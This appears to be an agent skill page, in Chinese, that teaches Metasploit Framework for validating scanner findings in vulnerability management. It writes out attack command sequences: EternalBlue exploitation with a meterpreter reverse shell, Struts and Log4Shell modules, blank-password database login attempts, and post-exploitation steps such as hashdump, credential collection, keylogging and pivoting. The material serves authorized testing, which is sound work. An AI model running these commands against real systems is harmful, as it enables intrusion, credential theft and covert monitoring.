# Exploiting Vulnerabilities With Metasploit Framework

> Metasploit Framework 是全球最广泛使用的渗透测试平台，由 Rapid7 维护，包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块

- Skill: `killvxk/exploiting-vulnerabilities-with-metasploit-framework` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-vulnerabilities-with-metasploit-framework`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-vulnerabilities-with-metasploit-framework/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-vulnerabilities-with-metasploit-framework

---

# 使用 Metasploit Framework 利用漏洞

## 概述
Metasploit Framework 是全球最广泛使用的渗透测试平台，由 Rapid7 维护，包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块。在漏洞管理场景中，Metasploit 作为验证工具，用于确认已发现的漏洞是否真实可利用，从而实现基于风险的优先级排序，并向利益相关方展示实际影响。

## 前置条件
- 已安装 Metasploit Framework（Kali Linux 或独立安装）
- PostgreSQL 数据库，用于会话/凭据管理
- 测试的书面授权和交战规则
- 隔离测试环境或已批准的生产测试窗口
- 了解网络、协议和漏洞利用概念

## 核心概念

### Metasploit 架构
- **msfconsole**：主要交互式命令行界面
- **Exploits（漏洞利用模块）**：利用漏洞获取访问权限的模块
- **Payloads（载荷）**：成功利用漏洞后在目标上执行的代码
- **Auxiliary（辅助模块）**：扫描、模糊测试和信息收集模块
- **Post-Exploitation（后渗透模块）**：用于权限提升、持久化、横向移动的模块
- **Encoders（编码器）**：载荷编码，用于规避基于特征码的检测
- **Nops（空操作生成器）**：用于载荷对齐的空操作生成器

### 漏洞管理中的利用工作流程
与进攻性红队演练不同，漏洞管理使用 Metasploit 用于：
1. **验证**扫描器发现（确认可利用性）
2. **向**业务利益相关方**展示**风险
3. 根据已证实的利用路径**优先排序**修复
4. 通过确认漏洞不再成功利用来**验证**补丁

## 实施步骤

### 步骤 1：初始化 Metasploit 环境
```bash
# 启动 PostgreSQL 并初始化数据库
sudo systemctl start postgresql
sudo msfdb init

# 启动 msfconsole
msfconsole -q

# 验证数据库连接
msf6> db_status
msf6> workspace -a vuln_validation_2025

# 导入漏洞扫描结果
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
```

### 步骤 2：验证特定漏洞
```bash
# 示例：从扫描发现中验证 MS17-010（EternalBlue）
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# 先使用 check 命令（非利用性验证）
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# 仅在 check 确认漏洞存在且已获授权的情况下才进行利用
msf6> exploit

# 示例：验证 Apache Struts RCE（CVE-2017-5638）
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# 示例：验证 Log4Shell（CVE-2021-44228）
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
```

### 步骤 3：辅助扫描验证
```bash
# SMB 漏洞扫描
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS 漏洞检查
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP 漏洞验证
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# 数据库认证测试
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
```

### 步骤 4：后渗透影响评估
```bash
# 成功利用后，展示影响
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# 网络横向移动演示
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy

# 截图作为证据
meterpreter> screenshot
meterpreter> keyscan_start
```

### 步骤 5：记录和报告发现
```bash
# 导出利用证据
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv

# 从数据库生成报告
msf6> db_export -f xml /tmp/msf_report.xml
```

### 步骤 6：修补后验证
```bash
# 修复后，验证漏洞利用不再有效
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# 补丁验证成功
```

## 安全控制
1. **始终先使用 `check` 命令**，在可用时先于 `exploit` 执行
2. **设置 AutoRunScript** 进行干净的会话管理
3. **使用 EXITFUNC=thread** 防止目标服务崩溃
4. **将载荷功能限制**在验证所需的最低限度
5. **记录每一个操作**，用于审计追踪和证据
6. **每次测试使用工作区隔离**
7. **切勿对未授权目标运行 Metasploit**

## 最佳实践
1. 在利用前先从漏洞检查模块开始
2. 仅使用 Metasploit 验证最高优先级的扫描器发现
3. 与系统所有者协调测试时间窗口
4. 维护所有利用尝试的详细日志
5. 测试后清理所有痕迹和会话
6. 使用结果为利益相关方创建有说服力的风险叙述
7. 将 Metasploit 验证集成到漏洞管理工作流程中

## 常见陷阱
- 未获书面授权进行利用（法律责任）
- 在未与相关方协调的情况下对生产系统利用
- 不清理 Meterpreter 会话和痕迹
- 混淆漏洞验证与渗透测试范围
- 对已修补系统使用过时的 Metasploit 模块
- 未记录利用证据供修复团队参考

## 相关技能
- performing-red-team-validated-vulnerability-testing
- scanning-infrastructure-with-nessus
- performing-network-vulnerability-assessment

